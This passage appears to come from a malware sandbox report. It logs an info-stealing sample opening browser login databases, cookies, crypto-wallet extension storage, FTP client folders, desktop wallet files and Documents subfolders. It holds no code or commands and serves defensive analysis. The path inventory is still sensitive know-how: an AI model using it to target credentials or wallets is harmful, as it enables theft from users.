Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
